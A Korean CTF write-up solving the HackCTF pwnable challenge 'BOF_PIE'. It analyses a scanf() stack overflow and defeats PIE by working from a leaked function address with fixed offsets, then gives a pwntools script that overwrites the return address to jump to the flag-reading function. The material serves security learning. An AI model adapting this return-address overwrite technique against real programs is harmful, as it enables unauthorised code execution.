tmxklab
[HackCTF/Pwnable] BOF_PIE 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3008
1) 접속
- 문자열 출력과 동시에 프로그램은 아무런 수행없이 종료
2) IDA(Pseudocode)확인 - main()
- welcome() 실행 및 puts()를 통해 문자열 출력
3) IDA(Pseudocode)확인 - welcome()
- printf()를 통해 welcome()의 주소 값 출력
- scanf()를 통해 입력 값을 v1에 저장 -> bof 취약점 존재
4) IDA(Pseudocode)확인 - j0n9hyun()
- flag파일을 읽기모드로 열어 파일 내용을 출력
- 실행시켜야할 함수
5) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인
- RELRO : Partial RELRO
- NX : DEP가 적용되어 있음 -> heap, stack, data영역에 실행권한 없음
- PIE : 코드영역을 포함한 모든 영역 랜덤하게 매핑 But, Base주소만 달라지며 함수의 Base주소로부터 offset은 동일
2. 접근방법
1) 스택구조(welcome)
2) 결론
- 메모리 보호기법 중 우연히 Stack canary가 걸려있지 않으며 scanf()를 통해 ret의 주소 변경 가능
- PIE가 걸려있지만 Base주소만 달라지며 각 함수들의 Base주소로부터 offset은 변하지 않음
- 따라서, scanf()와 offset을 이용하여 welcome()의 리턴 값을 j0n9hyun()으로 조작 가능
3. 풀이
1) 함수들의 offset확인
- j0n9hyun : 0x000000890
- welcome : 0x000000909
2) base주소로 부터 각 함수들 위치
3) 공격코드 작성
from pwn import * # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3008)
w_offset = 0x00000909 # welcome offset
j_offset = 0x00000890 # j0n9hyun offset
p.recvuntil("j0n9hyun is ")
w_addr = int(p.recv(10), 16) # welcome address
j_addr = w_addr - (w_offset - j_offset) # j0n9hyun address
payload = "A"*22 + p32(j_addr) # welcome에서 RET전까지 22bytes
p.sendline(payload)
p.interactive()
4) 공격 실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] RTL_World (0) | 2020.02.22 |
---|---|
[HackCTF/Pwnable] Yes or no (0) | 2020.02.22 |
[HackCTF/Pwnable] Offset (0) | 2020.01.27 |
[HackCTF/Pwnable] Simple_Overflow_ver_2 (0) | 2020.01.27 |
[HackCTF/Pwnable] x64 Simple_size_BOF (0) | 2020.01.27 |
Comments